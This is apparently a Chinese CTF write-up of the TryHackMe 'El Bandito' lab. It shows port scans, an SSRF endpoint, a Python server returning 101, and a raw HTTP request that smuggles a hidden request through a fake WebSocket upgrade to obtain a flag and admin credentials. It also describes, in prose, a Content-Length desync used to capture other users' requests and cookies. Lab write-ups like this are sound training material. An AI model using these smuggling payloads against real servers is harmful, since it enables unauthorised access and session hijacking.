当前位置: 首页 > news >正文

THM El Bandito

信息收集

fscan扫一下先

 ┌──(kali㉿kali)-[~/fscan]└─$ ./fscan -h 10.10.11.24 ┌──────────────────────────────────────────────┐│    ___                              _        ││   / _ \     ___  ___ _ __ __ _  ___| | __    ││  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    ││ / /_\\_____\__ \ (__| | | (_| | (__|   <     ││ \____/     |___/\___|_|  \__,_|\___|_|\_\    │└──────────────────────────────────────────────┘Fscan Version: 2.0.0[2025-08-26 22:12:50] [INFO] 暴力破解线程数: 1                                                                                                                                                                                             [2025-08-26 22:12:50] [INFO] 开始信息扫描[2025-08-26 22:12:50] [INFO] 最终有效主机数量: 1[2025-08-26 22:12:50] [INFO] 开始主机扫描[2025-08-26 22:12:50] [INFO] 有效端口数量: 233[2025-08-26 22:12:50] [SUCCESS] 端口开放 10.10.11.24:22[2025-08-26 22:12:50] [SUCCESS] 端口开放 10.10.11.24:80[2025-08-26 22:12:50] [SUCCESS] 端口开放 10.10.11.24:8080[2025-08-26 22:12:50] [SUCCESS] 服务识别 10.10.11.24:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.11 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11.][2025-08-26 22:12:56] [SUCCESS] 服务识别 10.10.11.24:80 => [2025-08-26 22:12:56] [SUCCESS] 服务识别 10.10.11.24:8080 => [http] 产品:nginx[2025-08-26 22:12:56] [INFO] 存活端口数量: 3[2025-08-26 22:12:56] [INFO] 开始漏洞扫描[2025-08-26 22:12:56] [INFO] 加载的插件: ssh, webpoc, webtitle[2025-08-26 22:12:58] [SUCCESS] 网站标题 http://10.10.11.24:8080   状态码:200 长度:557    标题:Bandit-Coin[2025-08-26 22:13:17] [SUCCESS] 检测到漏洞 http://10.10.11.24:8080/swagger-ui.html poc-yaml-swagger-ui-unauth 参数:[{path swagger-ui.html}][2025-08-26 22:13:49] [SUCCESS] 扫描已完成: 5/5

存在swagger-ui,扫描目录会找到一些有用的目录如heapdump之类,但是此处无用,有用的是/mappings

第一个flag

在这里我们发现了两个有用的

   "{[/admin-flag],methods=[GET]}": {"bean": "requestMappingHandlerMapping","method": "public org.springframework.http.ResponseEntity\u003Cjava.lang.String\u003E net.thm.websocket.config.AdminController.adminFlag()"},"{[/admin-creds],methods=[GET]}": {"bean": "requestMappingHandlerMapping","method": "public org.springframework.http.ResponseEntity\u003Cjava.lang.String\u003E net.thm.websocket.config.AdminController.adminCreds()"},

flag和对应凭证,但是不能通过请求获取,同时还有一个isOnline接口

SSRF

通过测试发现存在SSRF

 http://10.10.204.212:8080/isOnline?url=http://10.11.133.25

请求走私

我们尝试让其访问admin-flag,然后将结果回显到响应,具体实现我们需要将标头添加到我们的请求中,以使代理认为我们正在执行 Websocket 升级。虽然这足以欺骗其他一些代理,但在客户端和后端服务器之间建立隧道之前,还可以验证响应的状态代码。所以,当我们发送带有 websocket upgrade 标头的请求时,对这个请求的响应必须有一个有效的状态码(101 Switching Protocols),为了让服务器返回有效的状态码,我们将使用该漏洞。之后,将建立隧道并在我们请求后使用此隧道发送任何内容,而无需检查,认为它是 websocket 通信的一部分。由于我们没有执行有效的 websocket 升级,后端服务器会将我们请求的其余部分解释为另一个 HTTP 请求

 Upgrade: WebSocket

此处使用jaxafed的脚本

 import sysfrom http.server import HTTPServer, BaseHTTPRequestHandler​if len(sys.argv) != 2:print(f"Usage: {sys.argv[0]} <port>")exit()​class Redirect(BaseHTTPRequestHandler):def do_GET(self):self.protocol_version = "HTTP/1.1"self.send_response(101)self.end_headers()​HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

 GET /isOnline?url=http://10.11.133.25 HTTP/1.1Host: 10.10.204.212:8080Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Sec-WebSocket-Version: 13Connection: UpgradeUpgrade: WebSocket​​GET /envHost: 10.10.204.212:8080

成功走私,后面就是拿到flag和凭证

 HTTP/1.1 101Server: nginxDate: Tue, 26 Aug 2025 15:01:06 GMTConnection: upgradeX-Application-Context: application:8081Content-Length: 43​THM{:::MY_DECLINATION:+62°_14\'_31.4'':::}
 HTTP/1.1 101Server: nginxDate: Tue, 26 Aug 2025 15:01:41 GMTConnection: upgradeX-Application-Context: application:8081Content-Length: 55​username:hAckLIEN password:YouCanCatchUsInYourDreams404

然后 就会发现一个尴尬的问题😅,80端口访问不到,我重启了好几次依旧无法访问,而这恰好也是第二个flag所必须的,所以此处往后就跟着jaxafed的wp说一下思路了

第二个flag

登录后,我们可以看到聊天内容,并且可以发送和接收消息。

Web Server Chat Page

另外,从标题中我们注意到服务器使用前端反向代理进行缓存。

尝试使用不同的有效载荷进行请求走私,我们成功使用了。 Content-Length: 0

Web Server Request Smuggling Payload

从下面的响应中我们可以看出,我们能够导致不同步,并且我们的下一个请求被附加到我们之前走私的请求中,并且它被解释如下:

 GET /doesnotexist HTTP/1.1 Foo: GET / HTTP/1.1 Host: 10.10.189.186:80 ... 

因此,我们正在向端点发出请求。404 404 Not Found /

Web Server Request Smuggling Payload Response

由于应用程序允许我们通过消息存储和检索文本数据,我们可以使用它来捕获其他用户的请求。

为此,我们将使用过长的标头和 cookie 将不完整的请求走私到端点,因为发送消息需要授权。/send_message /send_message Content-Length

有了这个请求,在我们之后 data 任何其他请求都将附加到我们的走私请求中,并将被解释为对端点的请求中的参数。data /send_message

Web Server Request Smuggling Capture Payload

发送请求并稍后接收消息后,我们看到另一个用户的请求确实附加到我们的有效负载中并存储为消息。

Web Server Request Smuggling Captured Request

我们从用户请求的 cookie 中获取标志。

参考链接

TryHackMe:El Bandito | jaxafed --- TryHackMe: El Bandito | jaxafed

http://www.dtcms.com/a/351739.html

相关文章:

  • 设计模式学习笔记-----抽象责任链模式
  • 常见的设计模式
  • 深度学习篇---1*1卷积核的升维/降维
  • Unity笔记(七)——四元数、延迟函数、协同程序
  • 【Linux】Keepalived + Nginx高可用方案
  • [pilot智驾系统] 驾驶员监控守护进程(dmonitoringd)
  • 从代码学习深度强化学习 - 多智能体强化学习 IPPO PyTorch版
  • pytorch_grad_cam 库学习笔记——基类ActivationsAndGradient
  • vue2 和 vue3 生命周期的区别
  • 【Android】不同系统API版本_如何进行兼容性配置
  • 2014-2024高教社杯全国大学生数学建模竞赛赛题汇总预览分析
  • VMDK 文件
  • 软考-系统架构设计师 计算机系统基础知识详细讲解二
  • springcloud篇5-微服务保护(Sentinel)
  • Spring Boot mybatis-plus 多数据源配置
  • 【CVE-2025-5419】(内附EXP) Google Chrome 越界读写漏洞【内附EXP】
  • Kafka面试精讲 Day 1:Kafka核心概念与分布式架构
  • Elasticsearch中的协调节点
  • 详解kafka基础(一)
  • JavaScript常用的算法详解
  • Cherry-pick冲突与Git回滚
  • Oracle跟踪及分析方法
  • 力扣100+补充大完结
  • MySql 事务 锁
  • 推荐系统学习笔记(十四)-粗排三塔模型
  • 庖丁解牛:深入解析Oracle SQL语言的四大分类——DML、DDL、DCL、TCL
  • KubeBlocks for Oracle 容器化之路
  • 高校党建系统设计与实现(代码+数据库+LW)
  • 从零开始的 Docker 之旅
  • HIVE的高频面试UDTF函数